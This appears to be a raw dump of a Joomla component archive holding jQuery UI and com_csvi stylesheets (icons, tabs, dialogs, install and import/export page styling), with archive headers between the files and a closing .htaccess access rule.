.ui-widget-content .ui-state-error a, .ui-widget-header .ui-state-error a { color: #ffffff; } .ui-state-error-text, .ui-widget-content .ui-state-error-text, .ui-widget-header .ui-state-error-text { color: #ffffff; } .ui-priority-primary, .ui-widget-content .ui-priority-primary, .ui-widget-header .ui-priority-primary { font-weight: bold; } .ui-priority-secondary, .ui-widget-content .ui-priority-secondary, .ui-widget-header .ui-priority-secondary { opacity: .7; filter:Alpha(Opacity=70); font-weight: normal; } .ui-state-disabled, .ui-widget-content .ui-state-disabled, .ui-widget-header .ui-state-disabled { opacity: .35; filter:Alpha(Opacity=35); background-image: none; } /* Icons ----------------------------------*/ /* states and images */ .ui-icon { width: 16px; height: 16px; background-image: url(images/ui-icons_222222_256x240.png); } .ui-widget-content .ui-icon {background-image: url(images/ui-icons_222222_256x240.png); } .ui-widget-header .ui-icon {background-image: url(images/ui-icons_ffffff_256x240.png); } .ui-state-default .ui-icon { background-image: url(images/ui-icons_ef8c08_256x240.png); } .ui-state-hover .ui-icon, .ui-state-focus .ui-icon {background-image: url(images/ui-icons_ef8c08_256x240.png); } .ui-state-active .ui-icon {background-image: url(images/ui-icons_ef8c08_256x240.png); } .ui-state-highlight .ui-icon {background-image: url(images/ui-icons_228ef1_256x240.png); } .ui-state-error .ui-icon, .ui-state-error-text .ui-icon {background-image: url(images/ui-icons_ffd27a_256x240.png); } /* positioning */ .ui-icon-carat-1-n { background-position: 0 0; } .ui-icon-carat-1-ne { background-position: -16px 0; } .ui-icon-carat-1-e { background-position: -32px 0; } .ui-icon-carat-1-se { background-position: -48px 0; } .ui-icon-carat-1-s { background-position: -64px 0; } .ui-icon-carat-1-sw { background-position: -80px 0; } .ui-icon-carat-1-w { background-position: -96px 0; } .ui-icon-carat-1-nw { background-position: -112px 0; } .ui-icon-carat-2-n-s { background-position: -128px 0; } .ui-icon-carat-2-e-w { background-position: -144px 0; } .ui-icon-triangle-1-n { background-position: 0 -16px; } .ui-icon-triangle-1-ne { background-position: -16px -16px; } .ui-icon-triangle-1-e { background-position: -32px -16px; } .ui-icon-triangle-1-se { background-position: -48px -16px; } .ui-icon-triangle-1-s { background-position: -64px -16px; } .ui-icon-triangle-1-sw { background-position: -80px -16px; } .ui-icon-triangle-1-w { background-position: -96px -16px; } .ui-icon-triangle-1-nw { background-position: -112px -16px; } .ui-icon-triangle-2-n-s { background-position: -128px -16px; } .ui-icon-triangle-2-e-w { background-position: -144px -16px; } .ui-icon-arrow-1-n { background-position: 0 -32px; } .ui-icon-arrow-1-ne { background-position: -16px -32px; } .ui-icon-arrow-1-e { background-position: -32px -32px; } .ui-icon-arrow-1-se { background-position: -48px -32px; } .ui-icon-arrow-1-s { background-position: -64px -32px; } .ui-icon-arrow-1-sw { background-position: -80px -32px; } .ui-icon-arrow-1-w { background-position: -96px -32px; } .ui-icon-arrow-1-nw { background-position: -112px -32px; } .ui-icon-arrow-2-n-s { background-position: -128px -32px; } .ui-icon-arrow-2-ne-sw { background-position: -144px -32px; } .ui-icon-arrow-2-e-w { background-position: -160px -32px; } .ui-icon-arrow-2-se-nw { background-position: -176px -32px; } .ui-icon-arrowstop-1-n { background-position: -192px -32px; } .ui-icon-arrowstop-1-e { background-position: -208px -32px; } .ui-icon-arrowstop-1-s { background-position: -224px -32px; } .ui-icon-arrowstop-1-w { background-position: -240px -32px; } .ui-icon-arrowthick-1-n { background-position: 0 -48px; } .ui-icon-arrowthick-1-ne { background-position: -16px -48px; } .ui-icon-arrowthick-1-e { background-position: -32px -48px; } .ui-icon-arrowthick-1-se { background-position: -48px -48px; } .ui-icon-arrowthick-1-s { background-position: -64px -48px; } .ui-icon-arrowthick-1-sw { background-position: -80px -48px; } .ui-icon-arrowthick-1-w { background-position: -96px -48px; } .ui-icon-arrowthick-1-nw { background-position: -112px -48px; } .ui-icon-arrowthick-2-n-s { background-position: -128px -48px; } .ui-icon-arrowthick-2-ne-sw { background-position: -144px -48px; } .ui-icon-arrowthick-2-e-w { background-position: -160px -48px; } .ui-icon-arrowthick-2-se-nw { background-position: -176px -48px; } .ui-icon-arrowthickstop-1-n { background-position: -192px -48px; } .ui-icon-arrowthickstop-1-e { background-position: -208px -48px; } .ui-icon-arrowthickstop-1-s { background-position: -224px -48px; } .ui-icon-arrowthickstop-1-w { background-position: -240px -48px; } .ui-icon-arrowreturnthick-1-w { background-position: 0 -64px; } .ui-icon-arrowreturnthick-1-n { background-position: -16px -64px; } .ui-icon-arrowreturnthick-1-e { background-position: -32px -64px; } .ui-icon-arrowreturnthick-1-s { background-position: -48px -64px; } .ui-icon-arrowreturn-1-w { background-position: -64px -64px; } .ui-icon-arrowreturn-1-n { background-position: -80px -64px; } .ui-icon-arrowreturn-1-e { background-position: -96px -64px; } .ui-icon-arrowreturn-1-s { background-position: -112px -64px; } .ui-icon-arrowrefresh-1-w { background-position: -128px -64px; } .ui-icon-arrowrefresh-1-n { background-position: -144px -64px; } .ui-icon-arrowrefresh-1-e { background-position: -160px -64px; } .ui-icon-arrowrefresh-1-s { background-position: -176px -64px; } .ui-icon-arrow-4 { background-position: 0 -80px; } .ui-icon-arrow-4-diag { background-position: -16px -80px; } .ui-icon-extlink { background-position: -32px -80px; } .ui-icon-newwin { background-position: -48px -80px; } .ui-icon-refresh { background-position: -64px -80px; } .ui-icon-shuffle { background-position: -80px -80px; } .ui-icon-transfer-e-w { background-position: -96px -80px; } .ui-icon-transferthick-e-w { background-position: -112px -80px; } .ui-icon-folder-collapsed { background-position: 0 -96px; } .ui-icon-folder-open { background-position: -16px -96px; } .ui-icon-document { background-position: -32px -96px; } .ui-icon-document-b { background-position: -48px -96px; } .ui-icon-note { background-position: -64px -96px; } .ui-icon-mail-closed { background-position: -80px -96px; } .ui-icon-mail-open { background-position: -96px -96px; } .ui-icon-suitcase { background-position: -112px -96px; } .ui-icon-comment { background-position: -128px -96px; } .ui-icon-person { background-position: -144px -96px; } .ui-icon-print { background-position: -160px -96px; } .ui-icon-trash { background-position: -176px -96px; } .ui-icon-locked { background-position: -192px -96px; } .ui-icon-unlocked { background-position: -208px -96px; } .ui-icon-bookmark { background-position: -224px -96px; } .ui-icon-tag { background-position: -240px -96px; } .ui-icon-home { background-position: 0 -112px; } .ui-icon-flag { background-position: -16px -112px; } .ui-icon-calendar { background-position: -32px -112px; } .ui-icon-cart { background-position: -48px -112px; } .ui-icon-pencil { background-position: -64px -112px; } .ui-icon-clock { background-position: -80px -112px; } .ui-icon-disk { background-position: -96px -112px; } .ui-icon-calculator { background-position: -112px -112px; } .ui-icon-zoomin { background-position: -128px -112px; } .ui-icon-zoomout { background-position: -144px -112px; } .ui-icon-search { background-position: -160px -112px; } .ui-icon-wrench { background-position: -176px -112px; } .ui-icon-gear { background-position: -192px -112px; } .ui-icon-heart { background-position: -208px -112px; } .ui-icon-star { background-position: -224px -112px; } .ui-icon-link { background-position: -240px -112px; } .ui-icon-cancel { background-position: 0 -128px; } .ui-icon-plus { background-position: -16px -128px; } .ui-icon-plusthick { background-position: -32px -128px; } .ui-icon-minus { background-position: -48px -128px; } .ui-icon-minusthick { background-position: -64px -128px; } .ui-icon-close { background-position: -80px -128px; } .ui-icon-closethick { background-position: -96px -128px; } .ui-icon-key { background-position: -112px -128px; } .ui-icon-lightbulb { background-position: -128px -128px; } .ui-icon-scissors { background-position: -144px -128px; } .ui-icon-clipboard { background-position: -160px -128px; } .ui-icon-copy { background-position: -176px -128px; } .ui-icon-contact { background-position: -192px -128px; } .ui-icon-image { background-position: -208px -128px; } .ui-icon-video { background-position: -224px -128px; } .ui-icon-script { background-position: -240px -128px; } .ui-icon-alert { background-position: 0 -144px; } .ui-icon-info { background-position: -16px -144px; } .ui-icon-notice { background-position: -32px -144px; } .ui-icon-help { background-position: -48px -144px; } .ui-icon-check { background-position: -64px -144px; } .ui-icon-bullet { background-position: -80px -144px; } .ui-icon-radio-off { background-position: -96px -144px; } .ui-icon-radio-on { background-position: -112px -144px; } .ui-icon-pin-w { background-position: -128px -144px; } .ui-icon-pin-s { background-position: -144px -144px; } .ui-icon-play { background-position: 0 -160px; } .ui-icon-pause { background-position: -16px -160px; } .ui-icon-seek-next { background-position: -32px -160px; } .ui-icon-seek-prev { background-position: -48px -160px; } .ui-icon-seek-end { background-position: -64px -160px; } .ui-icon-seek-start { background-position: -80px -160px; } /* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */ .ui-icon-seek-first { background-position: -80px -160px; } .ui-icon-stop { background-position: -96px -160px; } .ui-icon-eject { background-position: -112px -160px; } .ui-icon-volume-off { background-position: -128px -160px; } .ui-icon-volume-on { background-position: -144px -160px; } .ui-icon-power { background-position: 0 -176px; } .ui-icon-signal-diag { background-position: -16px -176px; } .ui-icon-signal { background-position: -32px -176px; } .ui-icon-battery-0 { background-position: -48px -176px; } .ui-icon-battery-1 { background-position: -64px -176px; } .ui-icon-battery-2 { background-position: -80px -176px; } .ui-icon-battery-3 { background-position: -96px -176px; } .ui-icon-circle-plus { background-position: 0 -192px; } .ui-icon-circle-minus { background-position: -16px -192px; } .ui-icon-circle-close { background-position: -32px -192px; } .ui-icon-circle-triangle-e { background-position: -48px -192px; } .ui-icon-circle-triangle-s { background-position: -64px -192px; } .ui-icon-circle-triangle-w { background-position: -80px -192px; } .ui-icon-circle-triangle-n { background-position: -96px -192px; } .ui-icon-circle-arrow-e { background-position: -112px -192px; } .ui-icon-circle-arrow-s { background-position: -128px -192px; } .ui-icon-circle-arrow-w { background-position: -144px -192px; } .ui-icon-circle-arrow-n { background-position: -160px -192px; } .ui-icon-circle-zoomin { background-position: -176px -192px; } .ui-icon-circle-zoomout { background-position: -192px -192px; } .ui-icon-circle-check { background-position: -208px -192px; } .ui-icon-circlesmall-plus { background-position: 0 -208px; } .ui-icon-circlesmall-minus { background-position: -16px -208px; } .ui-icon-circlesmall-close { background-position: -32px -208px; } .ui-icon-squaresmall-plus { background-position: -48px -208px; } .ui-icon-squaresmall-minus { background-position: -64px -208px; } .ui-icon-squaresmall-close { background-position: -80px -208px; } .ui-icon-grip-dotted-vertical { background-position: 0 -224px; } .ui-icon-grip-dotted-horizontal { background-position: -16px -224px; } .ui-icon-grip-solid-vertical { background-position: -32px -224px; } .ui-icon-grip-solid-horizontal { background-position: -48px -224px; } .ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; } .ui-icon-grip-diagonal-se { background-position: -80px -224px; } /* Misc visuals ----------------------------------*/ /* Corner radius */ .ui-corner-tl { -moz-border-radius-topleft: 4px; -webkit-border-top-left-radius: 4px; border-top-left-radius: 4px; } .ui-corner-tr { -moz-border-radius-topright: 4px; -webkit-border-top-right-radius: 4px; border-top-right-radius: 4px; } .ui-corner-bl { -moz-border-radius-bottomleft: 4px; -webkit-border-bottom-left-radius: 4px; border-bottom-left-radius: 4px; } .ui-corner-br { -moz-border-radius-bottomright: 4px; -webkit-border-bottom-right-radius: 4px; border-bottom-right-radius: 4px; } .ui-corner-top { -moz-border-radius-topleft: 4px; -webkit-border-top-left-radius: 4px; border-top-left-radius: 4px; -moz-border-radius-topright: 4px; -webkit-border-top-right-radius: 4px; border-top-right-radius: 4px; } .ui-corner-bottom { -moz-border-radius-bottomleft: 4px; -webkit-border-bottom-left-radius: 4px; border-bottom-left-radius: 4px; -moz-border-radius-bottomright: 4px; -webkit-border-bottom-right-radius: 4px; border-bottom-right-radius: 4px; } .ui-corner-right { -moz-border-radius-topright: 4px; -webkit-border-top-right-radius: 4px; border-top-right-radius: 4px; -moz-border-radius-bottomright: 4px; -webkit-border-bottom-right-radius: 4px; border-bottom-right-radius: 4px; } .ui-corner-left { -moz-border-radius-topleft: 4px; -webkit-border-top-left-radius: 4px; border-top-left-radius: 4px; -moz-border-radius-bottomleft: 4px; -webkit-border-bottom-left-radius: 4px; border-bottom-left-radius: 4px; } .ui-corner-all { -moz-border-radius: 4px; -webkit-border-radius: 4px; border-radius: 4px; } /* Overlays */ .ui-widget-overlay { background: #666666 url(images/ui-bg_diagonals-thick_20_666666_40x40.png) 50% 50% repeat; opacity: .50;filter:Alpha(Opacity=50); } .ui-widget-shadow { margin: -5px 0 0 -5px; padding: 5px; background: #000000 url(images/ui-bg_flat_10_000000_40x100.png) 50% 50% repeat-x; opacity: .20;filter:Alpha(Opacity=20); -moz-border-radius: 5px; -webkit-border-radius: 5px; border-radius: 5px; }/* * jQuery UI Resizable 1.8.10 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Resizable#theming */ .ui-resizable { position: relative;} .ui-resizable-handle { position: absolute;font-size: 0.1px;z-index: 99999; display: block;} .ui-resizable-disabled .ui-resizable-handle, .ui-resizable-autohide .ui-resizable-handle { display: none; } .ui-resizable-n { cursor: n-resize; height: 7px; width: 100%; top: -5px; left: 0; } .ui-resizable-s { cursor: s-resize; height: 7px; width: 100%; bottom: -5px; left: 0; } .ui-resizable-e { cursor: e-resize; width: 7px; right: -5px; top: 0; height: 100%; } .ui-resizable-w { cursor: w-resize; width: 7px; left: -5px; top: 0; height: 100%; } .ui-resizable-se { cursor: se-resize; width: 12px; height: 12px; right: 1px; bottom: 1px; } .ui-resizable-sw { cursor: sw-resize; width: 9px; height: 9px; left: -5px; bottom: -5px; } .ui-resizable-nw { cursor: nw-resize; width: 9px; height: 9px; left: -5px; top: -5px; } .ui-resizable-ne { cursor: ne-resize; width: 9px; height: 9px; right: -5px; top: -5px;}/* * jQuery UI Dialog 1.8.10 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Dialog#theming */ .ui-dialog { position: absolute; padding: .2em; width: 300px; overflow: hidden; } .ui-dialog .ui-dialog-titlebar { padding: .4em 1em; position: relative; } .ui-dialog .ui-dialog-title { float: left; margin: .1em 16px .1em 0; } .ui-dialog .ui-dialog-titlebar-close { position: absolute; right: .3em; top: 50%; width: 19px; margin: -10px 0 0 0; padding: 1px; height: 18px; } .ui-dialog .ui-dialog-titlebar-close span { display: block; margin: 1px; } .ui-dialog .ui-dialog-titlebar-close:hover, .ui-dialog .ui-dialog-titlebar-close:focus { padding: 0; } .ui-dialog .ui-dialog-content { position: relative; border: 0; padding: .5em 1em; background: none; overflow: auto; zoom: 1; } .ui-dialog .ui-dialog-buttonpane { text-align: left; border-width: 1px 0 0 0; background-image: none; margin: .5em 0 0 0; padding: .3em 1em .5em .4em; } .ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset { float: right; } .ui-dialog .ui-dialog-buttonpane button { margin: .5em .4em .5em 0; cursor: pointer; } .ui-dialog .ui-resizable-se { width: 14px; height: 14px; right: 3px; bottom: 3px; } .ui-draggable .ui-dialog-titlebar { cursor: move; } /* * jQuery UI Tabs 1.8.10 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Tabs#theming */ .ui-tabs { position: relative; padding: .2em; zoom: 1; } /* position: relative prevents IE scroll bug (element with position: relative inside container with overflow: auto appear as "fixed") */ .ui-tabs .ui-tabs-nav { margin: 0; padding: .2em .2em 0; } .ui-tabs .ui-tabs-nav li { list-style: none; float: left; position: relative; top: 1px; margin: 0 .2em 1px 0; border-bottom: 0 !important; padding: 0; white-space: nowrap; } .ui-tabs .ui-tabs-nav li a { float: left; padding: .5em 1em; text-decoration: none; } .ui-tabs .ui-tabs-nav li.ui-tabs-selected { margin-bottom: 0; padding-bottom: 1px; } .ui-tabs .ui-tabs-nav li.ui-tabs-selected a, .ui-tabs .ui-tabs-nav li.ui-state-disabled a, .ui-tabs .ui-tabs-nav li.ui-state-processing a { cursor: text; } .ui-tabs .ui-tabs-nav li a, .ui-tabs.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-selected a { cursor: pointer; } /* first selector in group seems obsolete, but required to overcome bug in Opera applying cursor: text overall if defined elsewhere... */ .ui-tabs .ui-tabs-panel { display: block; border-width: 0; padding: 1em 1.4em; background: none; } .ui-tabs .ui-tabs-hide { display: none !important; } /* * jQuery UI Progressbar 1.8.10 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Progressbar#theming */ .ui-progressbar { height:2em; text-align: left; } .ui-progressbar .ui-progressbar-value {height:100%; }PK@y>\}EE*components/com_csvi/assets/css/install.cssnuW+A#installcsvi { width: 850px; } #versions { display: block; float: left; border: 0px solid #CCCCCC; width: 300px; } #rightbox { float:right; margin-top:13px; width: 520px; height: 350px; position:relative; border-left: 1px solid #cecece; } #options { position:absolute; top: 0px; left: 1px; padding-left: 5px; padding-top: 3px; padding-bottom: 3px; background-color: #f4f4f4; background: -moz-linear-gradient(left, #e2e0e0 0%, #f4f4f4 100%); /* FF3.6+ */ background: -webkit-gradient(linear, left top, right top, color-stop(0%,#e2e0e0), color-stop(100%,#f4f4f4)); /* Chrome,Safari4+ */ background: -webkit-linear-gradient(left, #e2e0e0 0%,#f4f4f4 100%); /* Chrome10+,Safari5.1+ */ background: -o-linear-gradient(left, #e2e0e0 0%,#f4f4f4 100%); /* Opera 11.10+ */ background: -ms-linear-gradient(left, #e2e0e0 0%,#f4f4f4 100%); /* IE10+ */ background: linear-gradient(left, #e2e0e0 0%,#f4f4f4 100%); /* W3C */ filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#e2e0e0', endColorstr='#f4f4f4',GradientType=1 ); /* IE6-9 */ width: 450px; } #progress { display: block; position:absolute; top: 40px; left: 1px; width: 600px; height: 250px; padding: 5px; overflow-y:auto; overflow-x:hidden; } #oldversionbox { height: 34px; width: 274px; font-size: 20px; color: #ea5402; padding-top: 30px; margin: 1px; text-align: center; display: block; background-image: url(images/version_found_bg.png); background-repeat: no-repeat; background-position: center bottom; } #newversionbox { height: 34px; width: 274px; font-size: 20px; color: #126592; padding-top: 30px; margin: 1px; text-align:center; display:block; background-image: url(images/install_info_bg.png); background-repeat: no-repeat; background-position: center bottom; } #update { } #update a, #update a:visited { display: block; padding: 5px; border: 1px solid #fba534; -webkit-border-radius: 6px 6px 6px 6px; -moz-border-radius: 6px 6px 6px 6px; border-radius: 6px 6px 6px 6px; background-color: #fba534; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffad40', endColorstr='#f58c04'); /* for IE */ background: -webkit-gradient(linear, left top, left bottom, from(#ffad40), to(#f58c04)); /* for webkit browsers */ background: -moz-linear-gradient(top, #ffad40, #f58c04); /* for firefox 3.6+ */ -webkit-box-shadow: 1px 1px 4px #666; -moz-box-shadow: 1px 1px 4px #666; box-shadow: 1px 1px 4px #666; color: #FFF; text-decoration:none; font-weight: bold; font-size: 15px; margin-bottom: 10px; margin-top: 12px; width: 35%; text-align:center; } #updatedesc { padding-bottom: 7px; } #install { } #install a, #install a:visited{ display: block; padding: 5px; border: 1px solid #176b99; -webkit-border-radius: 6px 6px 6px 6px; -moz-border-radius: 6px 6px 6px 6px; border-radius: 6px 6px 6px 6px; background-color: #3b91c0; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#3b91c0', endColorstr='#0e5c86'); /* for IE */ background: -webkit-gradient(linear, left top, left bottom, from(#3b91c0), to(#0e5c86)); /* for webkit browsers */ background: -moz-linear-gradient(top, #3b91c0, #0e5c86); /* for firefox 3.6+ */ -webkit-box-shadow: 1px 1px 4px #666; -moz-box-shadow: 1px 1px 4px #666; box-shadow: 1px 1px 4px #666; color: #FFF; text-decoration:none; font-weight: bold; font-size: 15px; margin-bottom: 10px; margin-top: 10px; width: 28%; text-align:center; } #finished { display: block; font-size: 18px; color: #126592; padding-top: 3px; margin: 5px 5px 20px; } #install_continue { vertical-align: middle; } #finished_text { margin-left: 10px; }PK@y>\\f''.components/com_csvi/assets/css/jquery-csvi.cssnuW+A/* Component containers ----------------------------------*/ .ui-widget { font-family: "Trebuchet MS", Arial, Helvetica, sans-serif ; font-size: 1.1em; } .ui-widget .ui-widget { font-size: 1em; } .ui-widget input, .ui-widget select, .ui-widget textarea, .ui-widget button { font-family: "Trebuchet MS", Arial, Helvetica, sans-serif ; font-size: 1em; } .ui-widget-content { border: 1px solid #aaaaaa; background: #ffffff ; color: #222222; } .ui-widget-content a { color: #222222; } .ui-widget-header { border: 0px solid #aaaaaa; color: #222222; font-weight: bold; background-color: #cccccc; background-image: url(images/maintabbg.png); background-repeat: repeat-x; background-position: 50% bottom; } .ui-widget-header a { color: #222222; } a:active { outline: none;} a:focus { outline: none;} /* Interaction states ----------------------------------*/ .ui-state-default, .ui-widget-content .ui-state-default, .ui-widget-header .ui-state-default { /* border-bottom: 1px solid #4a84a5;*/ font-weight: normal; color: #555555; background-color: #e6e6e6; background-image: url(images/deactmaintab.png); background-repeat: repeat-x; background-position: 50% bottom; } .ui-state-default a, .ui-state-default a:link, .ui-state-default a:visited { color: #2a6583; text-decoration: none; font-size:16px; } /*.ui-state-hover, .ui-widget-content .ui-state-hover, .ui-widget-header .ui-state-hover, .ui-state-focus, .ui-widget-content .ui-state-focus, .ui-widget-header .ui-state-focus { border-bottom: 1px solid #4a84a5; font-weight: normal; color: #212121; background-color: #dadada; background-image: url(images/deactmaintab_hov.png); background-repeat: repeat-x; background-position: 50% bottom; }*/ .ui-state-hover, .ui-widget-content .ui-state-hover, .ui-widget-header .ui-state-hover { /* border-bottom: 1px solid #4a84a5;*/ font-weight: normal; color: #212121; background-color: #dadada; background-image: url(images/deactmaintab_hov.png); background-repeat: repeat-x; background-position: 50% bottom; } .ui-state-hover a, .ui-state-hover a:hover { color: #3f7c9b; text-decoration: none; font-size: 16px; } .ui-state-active, .ui-widget-content .ui-state-active, .ui-widget-header .ui-state-active { border: 1px solid #aaaaaa; background: #ffffff url(images/activetab_bg.png) 50% top repeat-x; font-weight: normal; color: #212121; } .ui-state-active a, .ui-state-active a:link, .ui-state-active a:visited { color: #212121; background: #ffffff url(images/activetab_bg.png) 50% top repeat-x; text-decoration: none; font-weight:bold; } .ui-widget :active { outline: none; } .ui-tabs .ui-tabs-nav li { list-style: none; float: left; position: relative; top: 1px; border-bottom: 0 !important; padding: 0; white-space: nowrap; margin-top: 0; margin-right: 0.2em; margin-bottom: 2px; margin-left: 0; } .ui-tabs .ui-tabs-nav li a { float: left; text-decoration: none; padding-top: 0.2em; padding-right: 0.7em; padding-bottom: 0.2em; padding-left: 0.7em; } /*IMPORT PAGE */ #import_page #options_tab .ui-widget { font-family: "Trebuchet MS", Arial, Helvetica, sans-serif ; font-size: 0.8em; } #import_page #options_tab .ui-widget .ui-widget { font-size: 0.8em; } #import_page #options_tab .ui-widget input, #import_page #options_tab .ui-widget select, #import_page #options_tab .ui-widget textarea, #import_page #options_tab .ui-widget button { font-family: "Trebuchet MS", Arial, Helvetica, sans-serif ; font-size: 0.8em; } #import_page #options_tab .ui-widget-content { border-top: 0px solid #aaaaaa; border-bottom: 1px solid #aaaaaa; border-left: 1px solid #aaaaaa; border-right: 1px solid #aaaaaa; background: #ffffff ; color: #222222; } #import_page #options_tab .ui-widget-content a { color: #222222; } #import_page #options_tab .ui-widget-header { border: 0px solid #aaaaaa; color: #222222; font-weight: bold; background-color: #cccccc; background-image: url(images/maintabbg.png); background-repeat: repeat-x; background-position: 50% bottom; } #import_page #options_tab .ui-widget-header a { color: #222222; } #import_page #options_tab a:active { outline: none;} #import_page #options_tab a:focus { outline: none;} #import_page #options_tab .ui-state-default, #import_page #options_tab .ui-widget-content .ui-state-default, #import_page #options_tab .ui-widget-header .ui-state-default { /* border-bottom: 1px solid #4a84a5;*/ font-weight: normal; color: #555555; background-color: #e6e6e6; background-image: url(images/subtab_bg.png); background-repeat: repeat-x; background-position: 50% bottom; } #import_page #options_tab .ui-state-default a, #import_page #options_tab .ui-state-default a:link, #import_page #options_tab .ui-state-default a:visited { color: #2a6583; text-decoration: none; font-size:14px; } #import_page #options_tab .ui-state-hover, #import_page #options_tab .ui-widget-content .ui-state-hover, #import_page #options_tab .ui-widget-header .ui-state-hover { /* border-bottom: 1px solid #4a84a5;*/ font-weight: normal; color: #212121; background-color: #dadada; background-image: url(images/deactmaintab_hov.png); background-repeat: repeat-x; background-position: 50% bottom; } #import_page #options_tab .ui-state-hover a, #import_page #options_tab .ui-state-hover a:hover { color: #3f7c9b; text-decoration: none; font-size: 14px; } #import_page #options_tab .ui-state-active, #import_page #options_tab .ui-widget-content .ui-state-active, #import_page #options_tab .ui-widget-header .ui-state-active { border: 1px solid #aaaaaa; background: #ffffff url(images/activetab_bg.png) 50% top repeat-x; font-weight: normal; color: #212121; } #import_page #options_tab .ui-state-active a, #import_page #options_tab .ui-state-active a:link, #import_page #options_tab .ui-state-active a:visited { color: #212121; text-decoration: none; font-weight:bold; } #import_page #options_tab .ui-widget :active { outline: none; } #import_page #options_tab .ui-tabs .ui-tabs-nav li { list-style: none; float: left; position: relative; top: 1px; border-bottom: 0 !important; padding: 0; white-space: nowrap; margin-top: 0; margin-right: 0.2em; margin-bottom: 1px; margin-left: 0; } #import_page #options_tab .ui-tabs .ui-tabs-nav li a { float: left; text-decoration: none; padding-top: 0.5em; padding-right: 0.7em; padding-bottom: 0.3em; padding-left: 0.7em; } /*IMPORT PAGE */ #import_page #options_tab .ui-widget { font-family: "Trebuchet MS", Arial, Helvetica, sans-serif ; font-size: 0.8em; } #import_page #options_tab .ui-widget .ui-widget { font-size: 0.8em; } #import_page #options_tab .ui-widget input, #import_page #options_tab .ui-widget select, #import_page #options_tab .ui-widget textarea, #import_page #options_tab .ui-widget button { font-family: "Trebuchet MS", Arial, Helvetica, sans-serif ; font-size: 0.8em; } #import_page #options_tab .ui-widget-content { border-top: 0px solid #aaaaaa; border-bottom: 1px solid #aaaaaa; border-left: 1px solid #aaaaaa; border-right: 1px solid #aaaaaa; background: #ffffff ; color: #222222; } #import_page #options_tab .ui-widget-content a { color: #222222; } #import_page #options_tab .ui-widget-header { border: 0px solid #aaaaaa; color: #222222; font-weight: bold; background-color: #cccccc; background-image: url(images/maintabbg.png); background-repeat: repeat-x; background-position: 50% bottom; } #import_page #options_tab .ui-widget-header a { color: #222222; } /*EXPORT PAGE*/ #export_page #options_tab .ui-state-default, #export_page #options_tab .ui-widget-content .ui-state-default, #export_page #options_tab .ui-widget-header .ui-state-default { /* border-bottom: 1px solid #4a84a5;*/ font-weight: normal; color: #555555; background-color: #e6e6e6; background-image: url(images/subtab_bg.png); background-repeat: repeat-x; background-position: 50% bottom; } #export_page #options_tab .ui-state-default a, #export_page #options_tab .ui-state-default a:link, #export_page #options_tab .ui-state-default a:visited { color: #2a6583; text-decoration: none; font-size:14px; } #export_page #options_tab .ui-state-hover, #export_page #options_tab .ui-widget-content .ui-state-hover, #export_page #options_tab .ui-widget-header .ui-state-hover, #export_page #options_tab .ui-state-focus, #export_page #options_tab .ui-widget-content .ui-state-focus { /* border-bottom: 1px solid #4a84a5;*/ font-weight: normal; color: #212121; background-color: #dadada; background-image: url(images/deactmaintab_hov.png); background-repeat: repeat-x; background-position: bottom; } #export_page #options_tab .ui-state-hover a, #export_page #options_tab .ui-state-hover a:hover { color: #3f7c9b; text-decoration: none; font-size: 14px; } #export_page #options_tab .ui-state-active, #export_page #options_tab .ui-widget-content .ui-state-active, #export_page #options_tab .ui-widget-header .ui-state-active { border: 1px solid #aaaaaa; background: #ffffff url(images/activetab_bg.png) 50% top repeat-x; font-weight: normal; color: #212121; } #export_page #options_tab .ui-state-active a, #export_page #options_tab .ui-state-active a:link, #export_page #options_tab .ui-state-active a:visited { color: #212121; text-decoration: none; font-weight:bold; } #export_page #options_tab .ui-widget :active { outline: none; } #export_page #options_tab .ui-tabs .ui-tabs-nav li { list-style: none; float: left; position: relative; top: 1px; border-bottom: 0 !important; padding: 0; white-space: nowrap; margin-top: 0; margin-right: 0.2em; margin-bottom: 1px; margin-left: 0; } #export_page #options_tab .ui-tabs .ui-tabs-nav li a { float: left; text-decoration: none; padding-top: 0.5em; padding-right: 0.7em; padding-bottom: 0.3em; padding-left: 0.7em; }PK@y>\ ^BB*components/com_csvi/assets/css/process.cssnuW+A.option_label { display:inline-block; width: 240px; padding-top: 0px; padding-bottom: 0px; border-bottom: 1px #dfdfdf solid; vertical-align:top; } .option_label_image { display:inline-block; width: 200px; padding-top: 0px; padding-bottom: 0px; border-bottom: 1px #dfdfdf solid; vertical-align:top; } .option_label_short { display:inline-block; width: 90px; padding-top: 0px; padding-bottom: 0px; border-bottom: 1px #dfdfdf solid; vertical-align:top; } .option_label_long { display:inline-block; width: 330px; padding-top: 0px; padding-bottom: 0px; border-bottom: 1px #dfdfdf solid; vertical-align:top; } .option_value { display: inline-block; padding-top: 0px; padding-bottom: 0px; /* border-bottom: 1px #ddd solid;*/ } .option_value_block { padding-top: 0px; padding-bottom: 0px; /* border-bottom: 1px #ddd solid;*/ } fieldset fieldset, fieldset { position: relative; /* margin-top: 10px; margin-right: 10px; margin-bottom: 10px; margin-left: 10px;*/ overflow: visible; } fieldset fieldset:hover, fieldset:hover { position: relative; /* margin-top: 10px; margin-right: 10px; margin-bottom: 10px; margin-left: 10px;*/ overflow: visible; /* border: 1px solid #67b2da;*/ background-color: #f6fcff; } fieldset fieldset legend, fieldset legend { /* display:block;*/ } fieldset fieldset legend span { /* display:block;*/ } fieldset.float31 { float:left; width: 32%; margin-right: 10px; height: auto; min-height: 280px; } fieldset.float30 { float:left; width: 30%; margin-right: 10px; height: auto; min-height: 280px; } fieldset.float50 { float:left; width: 48%; } fieldset.float70 { float:left; width: 66%; } .ordersearch { width: 40%; }PK@y>\)(components/com_csvi/assets/css/.htaccessnuW+A Order allow,deny 